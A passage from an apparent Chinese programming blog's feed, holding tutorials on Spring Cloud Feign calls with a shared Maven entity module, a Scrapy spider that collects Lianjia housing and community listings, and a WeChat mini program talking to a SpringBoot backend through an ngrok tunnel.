class="line">eureka.client.service-url.defaultZone=http://localhost:8080/eureka</span><br></pre></td></tr></table></figure><p>4、在消费者中建立一个文件夹(名字是Feign)在文件夹中建立类(名字为XXXFeign)，<br>在其中编写远程调用相关配置</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@FeignClient(&quot;myprovider&quot;)</span><br><span class="line">public interface TestFeign &#123;</span><br><span class="line">    @RequestMapping(&quot;index&quot;)</span><br><span class="line">    public String a(@RequestParam(&quot;uname&quot;) String uname);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>5、在Controllet中调用Feign</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@Controller</span><br><span class="line">public class UserController &#123;</span><br><span class="line">    @Autowired</span><br><span class="line">    Ufeign ufeign;</span><br><span class="line">    @RequestMapping(&quot;ajaxsel&quot;)</span><br><span class="line">    @ResponseBody</span><br><span class="line">    public List&lt;User&gt; l()&#123;</span><br><span class="line">        List&lt;User&gt; list=ufeign.a();</span><br><span class="line">        return list;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>最后注意:<br>其中因为会遇到实体类的问题，所以需要创建公共实体类。<br>步骤为：<br>1、创建一个Maven项目，在Create from archetpe复选框前勾选上。</p><p>2、在下面的列表中找到org.apache.maven.archetypes:maven-archetype-quickstart,选中。然后点击next</p><p>3、接下来分别输入类型(groupId)，名字(artifactId),版本号根据自己的需求决定是否改变。点击下一步即可创建公共实体类</p><p>4、之后会让你确认信息，点击下一步即可创建公共实体类。</p><p>5、在pom.xml中只保留以下信息</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line"> </span><br><span class="line">&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br><span class="line">  xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&gt;</span><br><span class="line">  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;</span><br><span class="line"> </span><br><span class="line">  &lt;groupId&gt;bean&lt;/groupId&gt;</span><br><span class="line">  &lt;artifactId&gt;module&lt;/artifactId&gt;</span><br><span class="line">  &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;</span><br><span class="line"> </span><br><span class="line">&lt;/project&gt;</span><br></pre></td></tr></table></figure><p>6、在src–&gt;main–&gt;java–&gt;bean创建公用的实体类。</p><p>7、删除其中的test文件夹</p><p>8、在右边找到Maven，点击展开后，找到项目名下面的Lifecycle展开后，<br>找到下面的install，双击。当出现以下内容时即创建成功。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[INFO] BUILD SUCCESS</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br><span class="line">[INFO] Total time:  1.369 s</span><br><span class="line">[INFO] Finished at: 2019-10-26T16:57:15+08:00</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br><span class="line"></span><br><span class="line">Process finished with exit code 0</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 分布式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>通过Python爬取链家所有房源和小区</title>
      <link href="/2019/03/17/tong-guo-python-pa-qu-lian-jia-suo-you-fang-yuan-he-xiao-qu/"/>
      <url>/2019/03/17/tong-guo-python-pa-qu-lian-jia-suo-you-fang-yuan-he-xiao-qu/</url>
      
        <content type="html"><![CDATA[<h1 id="通过Python爬取链家所有房源和小区信息"><a href="#通过Python爬取链家所有房源和小区信息" class="headerlink" title="通过Python爬取链家所有房源和小区信息"></a>通过Python爬取链家所有房源和小区信息</h1><p>链家房源爬虫，基于scrapy框架，数据存储在MongoDB</p><p>由于链家的限制房源列表最多显示1000页，3000条数据，所以这里通过小区信息爬取所有房源。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">import scrapy</span><br><span class="line">from scrapy import Selector</span><br><span class="line">import json</span><br><span class="line">import re</span><br><span class="line"></span><br><span class="line">from house_spider.items import LianjiaVillageItem, LianjiaHouseItem</span><br><span class="line"></span><br><span class="line">class LianjiaSpider(scrapy.Spider):</span><br><span class="line">    name = &#x27;lianjia&#x27;</span><br><span class="line">    allowed_domains = [&#x27;cq.lianjia.com&#x27;]</span><br><span class="line">    start_urls = [&#x27;cq.lianjia.com&#x27;]</span><br><span class="line"></span><br><span class="line">    def __init__(self, **kwargs):</span><br><span class="line">        super().__init__(**kwargs)</span><br><span class="line">        self.base_url = &#x27;https://cq.lianjia.com&#x27;</span><br><span class="line"></span><br><span class="line">    def start_requests(self):</span><br><span class="line">        request_url = &#x27;https://cq.lianjia.com/xiaoqu/&#x27;</span><br><span class="line">        yield scrapy.Request(url=request_url, callback=self.parse_district_links)</span><br><span class="line"></span><br><span class="line">    def parse_district_links(self, response):</span><br><span class="line">        &quot;&quot;&quot;提取地区链接&quot;&quot;&quot;</span><br><span class="line">        sel = Selector(response)</span><br><span class="line">        links = sel.css(&quot;div[data-role=&#x27;ershoufang&#x27;] div:first-child a::attr(href)&quot;).extract()</span><br><span class="line">        for link in links:</span><br><span class="line">            url = self.base_url + link</span><br><span class="line">            yield scrapy.Request(url=url, callback=self.parse_bizcircle_links)</span><br><span class="line"></span><br><span class="line">    def parse_bizcircle_links(self, response):</span><br><span class="line">        &quot;&quot;&quot;提取商圈链接&quot;&quot;&quot;</span><br><span class="line">        sel = Selector(response)</span><br><span class="line">        links = sel.css(&quot;div[data-role=&#x27;ershoufang&#x27;] div:nth-child(2) a::attr(href)&quot;).extract()</span><br><span class="line">        for link in links:</span><br><span class="line">            url = self.base_url + link</span><br><span class="line">            yield scrapy.Request(url=url, callback=self.parse_village_list, meta=&#123;&quot;ref&quot;: url&#125;)</span><br><span class="line"></span><br><span class="line">    def parse_village_list(self, response):</span><br><span class="line">        &quot;&quot;&quot;提取小区链接&quot;&quot;&quot;</span><br><span class="line">        sel = Selector(response)</span><br><span class="line">        links = sel.css(&quot;.listContent .xiaoquListItem .img::attr(href)&quot;).extract()</span><br><span class="line">        for link in links:</span><br><span class="line">            yield scrapy.Request(url=link, callback=self.parse_village_detail)</span><br><span class="line"></span><br><span class="line">        # page</span><br><span class="line">        page_data = sel.css(&quot;.house-lst-page-box::attr(page-data)&quot;).extract_first()</span><br><span class="line">        page_data = json.loads(page_data)</span><br><span class="line">        if page_data[&#x27;curPage&#x27;] &lt; page_data[&#x27;totalPage&#x27;]:</span><br><span class="line">            url = response.meta[&quot;ref&quot;] + &#x27;pg&#x27; + str(page_data[&#x27;curPage&#x27;] + 1)</span><br><span class="line">            yield scrapy.Request(url=url, callback=self.parse_village_list, meta=response.meta)</span><br><span class="line"></span><br><span class="line">    def parse_village_detail(self, response):</span><br><span class="line">        &quot;&quot;&quot;提取小区详情&quot;&quot;&quot;</span><br><span class="line">        village_url = response.url</span><br><span class="line">        sel = Selector(response)</span><br><span class="line">        zone = sel.css(&#x27;.xiaoquDetailbreadCrumbs .l-txt a::text&#x27;).extract()</span><br><span class="line">        latitude = 0</span><br><span class="line">        longitude = 0</span><br><span class="line">        try:</span><br><span class="line">            html = response.body.decode().replace(&#x27;\r&#x27;, &#x27;&#x27;)</span><br><span class="line">            local = html[html.find(&#x27;resblockPosition:&#x27;):html.find(&#x27;resblockName&#x27;) - 1]</span><br><span class="line">            m = re.search(&#x27;(\d.*\d),(\d.*\d)&#x27;, local)</span><br><span class="line">            longitude = m.group(1)</span><br><span class="line">            latitude = m.group(2)</span><br><span class="line">        except Exception:</span><br><span class="line">            pass</span><br><span class="line"></span><br><span class="line">        item = LianjiaVillageItem()</span><br><span class="line">        item[&#x27;id&#x27;] = village_url.replace(self.base_url + &#x27;/xiaoqu/&#x27;, &#x27;&#x27;).replace(&#x27;/&#x27;, &#x27;&#x27;)</span><br><span class="line">        item[&#x27;name&#x27;] = sel.css(&#x27;.detailHeader .detailTitle::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;address&#x27;] = sel.css(&#x27;.detailHeader .detailDesc::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;latitude&#x27;] = latitude</span><br><span class="line">        item[&#x27;longitude&#x27;] = longitude</span><br><span class="line">        item[&#x27;zone&#x27;] = &#x27;,&#x27;.join(zone)</span><br><span class="line">        item[&#x27;year&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(1) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;build_type&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(2) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;property_costs&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(3) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;property_company&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(4) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;developers&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(5) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;buildings&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(6) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;total_house&#x27;] = sel.css(&#x27;.xiaoquInfo .xiaoquInfoItem:nth-child(7) .xiaoquInfoContent::text&#x27;).extract_first()</span><br><span class="line"></span><br><span class="line">        print(item[&#x27;name&#x27;])</span><br><span class="line">        yield item</span><br><span class="line"></span><br><span class="line">        # 小区房源 https://cq.lianjia.com/ershoufang/c3620038190566370/</span><br><span class="line">        url = self.base_url + &quot;/ershoufang/c&quot; + item[&#x27;id&#x27;] + &quot;/&quot;</span><br><span class="line">        yield scrapy.Request(url=url, callback=self.parse_house_list, meta=&#123;&quot;ref&quot;: url&#125;)</span><br><span class="line"></span><br><span class="line">    def parse_house_list(self, response):</span><br><span class="line">        &quot;&quot;&quot;提取房源链接&quot;&quot;&quot;</span><br><span class="line">        sel = Selector(response)</span><br><span class="line">        # 链家有时小区查询不到数据</span><br><span class="line">        total = sel.css(&#x27;.resultDes .total span::text&#x27;).extract_first()</span><br><span class="line">        total = int(total)</span><br><span class="line">        if total &gt; 0:</span><br><span class="line">            # 提取房源链接</span><br><span class="line">            links = sel.css(&quot;.sellListContent li .info .title a::attr(href)&quot;).extract()</span><br><span class="line">            for link in links:</span><br><span class="line">                yield scrapy.Request(url=link, callback=self.parse_house_detail)</span><br><span class="line">            # 链接分页</span><br><span class="line">            page_data = sel.css(&quot;.house-lst-page-box::attr(page-data)&quot;).extract_first()</span><br><span class="line">            page_data = json.loads(page_data)</span><br><span class="line">            if page_data[&#x27;curPage&#x27;] == 1 and page_data[&#x27;totalPage&#x27;] &gt; 1:</span><br><span class="line">                price = response.url.replace(self.base_url + &#x27;/ershoufang/&#x27;, &#x27;&#x27;)</span><br><span class="line">                for x in range(2, page_data[&#x27;totalPage&#x27;] + 1, 1):</span><br><span class="line">                    url = self.base_url + &#x27;/ershoufang/&#x27; + &#x27;pg&#x27; + str(x) + price</span><br><span class="line">                    yield scrapy.Request(url=url, callback=self.parse_house_list)</span><br><span class="line"></span><br><span class="line">    def parse_house_detail(self, response):</span><br><span class="line">        &quot;&quot;&quot;提取房源信息&quot;&quot;&quot;</span><br><span class="line">        sel = Selector(response)</span><br><span class="line"></span><br><span class="line">        item = LianjiaHouseItem()</span><br><span class="line">        item[&#x27;房屋Id&#x27;] = response.url.replace(self.base_url + &#x27;/ershoufang/&#x27;, &#x27;&#x27;).replace(&#x27;.html&#x27;, &#x27;&#x27;)</span><br><span class="line">        item[&#x27;标题&#x27;] = sel.css(&#x27;.title-wrapper .title .main::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;售价&#x27;] = sel.css(&#x27;.overview .content .price .total::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;小区&#x27;] = sel.css(&#x27;.overview .content .aroundInfo .communityName a.info::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;小区ID&#x27;] = sel.css(&#x27;.overview .content .aroundInfo .communityName a.info::attr(href)&#x27;).extract_first().replace(&#x27;/xiaoqu/&#x27;, &#x27;&#x27;).replace(&#x27;/&#x27;, &#x27;&#x27;)</span><br><span class="line">        item[&#x27;房屋户型&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(1)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;所在楼层&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;建筑面积&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(3)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;户型结构&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(4)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;套内面积&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(5)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;建筑类型&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(6)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;房屋朝向&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(7)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;建筑结构&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(8)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;装修情况&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(9)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;梯户比例&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(10)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;配备电梯&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(11)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;产权年限&#x27;] = sel.css(&#x27;#introduction .base .content ul li:nth-child(12)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;挂牌时间&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(1) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;交易权属&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(2) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;上次交易&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(3) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;房屋用途&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(4) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;房屋年限&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(5) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;产权所属&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(6) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line">        item[&#x27;抵押信息&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(7) span:nth-child(2)::attr(title)&#x27;).extract_first()</span><br><span class="line">        item[&#x27;房本备件&#x27;] = sel.css(&#x27;#introduction .transaction .content ul li:nth-child(8) span:nth-child(2)::text&#x27;).extract_first()</span><br><span class="line"></span><br><span class="line">        yield item</span><br><span class="line">        </span><br></pre></td></tr></table></figure><p><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/B0C655564F174592844C2DFE897C7265/3118" alt=""><br><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/7E5B19AFBC1A4B658B00A1873BEEBD0A/3120" alt=""></p>]]></content>
      
      
      <categories>
          
          <category> Python爬虫 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Python </tag>
            
            <tag> Python爬虫 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>微信小程序与后端SpringBoot通信</title>
      <link href="/2019/02/03/wei-xin-xiao-cheng-xu-yu-hou-duan-springboot-tong-xin/"/>
      <url>/2019/02/03/wei-xin-xiao-cheng-xu-yu-hou-duan-springboot-tong-xin/</url>
      
        <content type="html"><![CDATA[<h1 id="微信小程序与后端SpringBoot通信"><a href="#微信小程序与后端SpringBoot通信" class="headerlink" title="微信小程序与后端SpringBoot通信"></a>微信小程序与后端SpringBoot通信</h1><h3 id="案例概述"><a href="#案例概述" class="headerlink" title="案例概述"></a>案例概述</h3><p>微信小程序请求后端SpirngBoot,中间使用Ngrok做内网穿透.<br><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/CE885778600E42938491F27E91BC8E79/2661" alt=""></p><h3 id="内网穿透Ngrok配置"><a href="#内网穿透Ngrok配置" class="headerlink" title="内网穿透Ngrok配置"></a>内网穿透Ngrok配置</h3><h3 id="下载Ngrok"><a href="#下载Ngrok" class="headerlink" title="下载Ngrok"></a>下载Ngrok</h3><blockquote><p><a href="https://ngrok.com/download">https://ngrok.com/download</a></p></blockquote><h3 id="注册并配置Ngrok认证"><a href="#注册并配置Ngrok认证" class="headerlink" title="注册并配置Ngrok认证"></a>注册并配置Ngrok认证</h3><p>注册完Ngrok之后进入个人主页在Auth页面找到自己的验证码,然后打开Ngrok认证即可</p><p><img src="https://s2.ax1x.com/2019/07/03/ZtnNxe.png" alt=""></p><h3 id="配置端口和协议"><a href="#配置端口和协议" class="headerlink" title="配置端口和协议"></a>配置端口和协议</h3><p>我这里的端口是8181,因为我Tomcat的端口是8181\</p><blockquote><p>ngrok http 8181</p></blockquote><h3 id="Ngrok配置完成"><a href="#Ngrok配置完成" class="headerlink" title="Ngrok配置完成"></a>Ngrok配置完成</h3><p>配置完成之后Ngrok会为我们提供两个链接,一个是http协议的一个市https协议的.</p><p>Ngrok的作用说白了就是将你本地某个端口上运行的服务暴露在了公网上.</p><p>这里的穿透指的就是将内网中的服务穿过防火墙.<br><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/ED9712F8F49443C1B0A9D65EAA8B6E8A/2665" alt=""></p><h3 id="后端SpringBoot"><a href="#后端SpringBoot" class="headerlink" title="后端SpringBoot"></a>后端SpringBoot</h3><h3 id="Controller"><a href="#Controller" class="headerlink" title="Controller"></a>Controller</h3><p>接收微信小程序发来的请求,并根据请求做出响应</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package le.controll;</span><br><span class="line"></span><br><span class="line">import le.domain.Info;</span><br><span class="line">import le.utils.JSONResult;</span><br><span class="line">import org.springframework.stereotype.Controller;</span><br><span class="line">import org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line">import org.springframework.web.bind.annotation.ResponseBody;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line">* @program: SpringBootIntrodoction</span><br><span class="line">* @description:</span><br><span class="line">* @author: Mr.Han</span><br><span class="line">* @create: 2019-01-26 22:16</span><br><span class="line">**/</span><br><span class="line">@Controller</span><br><span class="line">public class QuickController2 &#123;</span><br><span class="line"></span><br><span class="line">    @RequestMapping(&quot;/info&quot;)</span><br><span class="line">    @ResponseBody</span><br><span class="line">    public JSONResult quick(Info info) &#123;</span><br><span class="line">        System.out.println(info.toString());</span><br><span class="line">        return JSONResult.ok(info);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="实体类"><a href="#实体类" class="headerlink" title="实体类"></a>实体类</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package le.domain;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">import java.io.Serializable;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line">* @program: SpringBootIntrodoction</span><br><span class="line">* @description: 测试实体类</span><br><span class="line">* @author: Mr.Han</span><br><span class="line">* @create: 2019-02-01 14:13</span><br><span class="line">**/</span><br><span class="line">public class Info implements Serializable &#123;</span><br><span class="line">    private String name;</span><br><span class="line">    private String personName;</span><br><span class="line">    private Integer age;</span><br><span class="line"></span><br><span class="line">    public String getName() &#123;</span><br><span class="line">        return name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setName(String name) &#123;</span><br><span class="line">        this.name = name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public String getPersonName() &#123;</span><br><span class="line">        return personName;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setPersonName(String personName) &#123;</span><br><span class="line">        this.personName = personName;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public Integer getAge() &#123;</span><br><span class="line">        return age;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setAge(Integer age) &#123;</span><br><span class="line">        this.age = age;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public String toString() &#123;</span><br><span class="line">        return &quot;Info&#123;&quot; +</span><br><span class="line">                &quot;name=&#x27;&quot; + name + &#x27;\&#x27;&#x27; +</span><br><span class="line">                &quot;, personName=&#x27;&quot; + personName + &#x27;\&#x27;&#x27; +</span><br><span class="line">                &quot;, age=&quot; + age +</span><br><span class="line">                &#x27;&#125;&#x27;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="JSON工具类"><a href="#JSON工具类" class="headerlink" title="JSON工具类"></a>JSON工具类</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package chen.utils;</span><br><span class="line"></span><br><span class="line">import chen.domain.Info;</span><br><span class="line">import com.fasterxml.jackson.databind.util.JSONPObject;</span><br><span class="line">import org.springframework.boot.configurationprocessor.json.JSONObject;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line">* @program: SpringBootIntrodoction</span><br><span class="line">* @description: 实体类转换成JSON</span><br><span class="line">* @author: Mr.Han</span><br><span class="line">* @create: 2019-02-01 14:17</span><br><span class="line">**/</span><br><span class="line">public class JSONResult &#123;</span><br><span class="line"></span><br><span class="line">    // 响应业务状态</span><br><span class="line">    private Integer status;</span><br><span class="line"></span><br><span class="line">    // 响应消息</span><br><span class="line">    private String msg;</span><br><span class="line"></span><br><span class="line">    // 响应中的数据</span><br><span class="line">    private Object data;</span><br><span class="line"></span><br><span class="line">    private String ok;    // 不使用</span><br><span class="line"></span><br><span class="line">    public static JSONResult build(Integer status, String msg, Object data) &#123;</span><br><span class="line">        return new JSONResult(status, msg, data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static JSONResult ok(Object data) &#123;</span><br><span class="line">        return new JSONResult(data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static JSONResult ok() &#123;</span><br><span class="line">        return new JSONResult(null);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static JSONResult errorMsg(String msg) &#123;</span><br><span class="line">        return new JSONResult(500, msg, null);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static JSONResult errorMap(Object data) &#123;</span><br><span class="line">        return new JSONResult(501, &quot;error&quot;, data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static JSONResult errorTokenMsg(String msg) &#123;</span><br><span class="line">        return new JSONResult(502, msg, null);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static JSONResult errorException(String msg) &#123;</span><br><span class="line">        return new JSONResult(555, msg, null);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public JSONResult() &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public JSONResult(Integer status, String msg, Object data) &#123;</span><br><span class="line">        this.status = status;</span><br><span class="line">        this.msg = msg;</span><br><span class="line">        this.data = data;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public JSONResult(Object data) &#123;</span><br><span class="line">        this.status = 200;</span><br><span class="line">        this.msg = &quot;OK&quot;;</span><br><span class="line">        this.data = data;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public Boolean isOK() &#123;</span><br><span class="line">        return this.status == 200;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public Integer getStatus() &#123;</span><br><span class="line">        return status;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setStatus(Integer status) &#123;</span><br><span class="line">        this.status = status;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public String getMsg() &#123;</span><br><span class="line">        return msg;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setMsg(String msg) &#123;</span><br><span class="line">        this.msg = msg;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public Object getData() &#123;</span><br><span class="line">        return data;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setData(Object data) &#123;</span><br><span class="line">        this.data = data;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public String getOk() &#123;</span><br><span class="line">        return ok;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void setOk(String ok) &#123;</span><br><span class="line">        this.ok = ok;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="微信小程序端"><a href="#微信小程序端" class="headerlink" title="微信小程序端"></a>微信小程序端</h3><h3 id="视图"><a href="#视图" class="headerlink" title="视图"></a>视图</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;view bindtap=&quot;clickMe&quot;&gt;点击发送请求&lt;/view&gt;</span><br></pre></td></tr></table></figure><p>绑定了一个bindtap事件,点击的时候发送请求</p><h3 id="JS代码"><a href="#JS代码" class="headerlink" title="JS代码"></a>JS代码</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">// pages/requestinterface/requestinterface.js</span><br><span class="line">Page(&#123;</span><br><span class="line"></span><br><span class="line">  /**</span><br><span class="line">  * 页面的初始数据</span><br><span class="line">  */</span><br><span class="line">  data: &#123;</span><br><span class="line"></span><br><span class="line">  &#125;,</span><br><span class="line">  clickMe: function() &#123;</span><br><span class="line">    wx.request(&#123;</span><br><span class="line">      url: &#x27;ngrok公网接口&#x27;,</span><br><span class="line">      data: &#123;</span><br><span class="line">        personName: &quot;张三的父亲&quot;,</span><br><span class="line">        name: &quot;张三&quot;,</span><br><span class="line">        age: 18</span><br><span class="line">      &#125;,</span><br><span class="line">      header: &#123;</span><br><span class="line">        &#x27;content-type&#x27;: &#x27;application/json&#x27; </span><br><span class="line">      &#125;,</span><br><span class="line">      success(res) &#123;</span><br><span class="line">        console.log(res.data)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><h3 id="完整的流程"><a href="#完整的流程" class="headerlink" title="完整的流程"></a>完整的流程</h3><p><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/7DA9DB9E98644776B0AD870AAAC8523C/2667" alt=""></p><h3 id="特别提醒"><a href="#特别提醒" class="headerlink" title="特别提醒"></a>特别提醒</h3><p>因为我们使用的是Ngrok做的内网穿透,微信小程序默认识别出Ngrok的接口时非法的.<br><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/1A5B10B7B372467BA836F71645423091/2669" alt=""></p><p>这时候我们就必须要<strong>设置不校验合法域名</strong></p><p><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/5C3B2976BF574C7780F48218C16B37B3/2671" alt=""></p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SpringBoot </tag>
            
            <tag> 微信小程序 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>你如何理解用户痛点</title>
      <link href="/2018/12/28/ni-ru-he-li-jie-yong-hu-tong-dian/"/>
      <url>/2018/12/28/ni-ru-he-li-jie-yong-hu-tong-dian/</url>
      
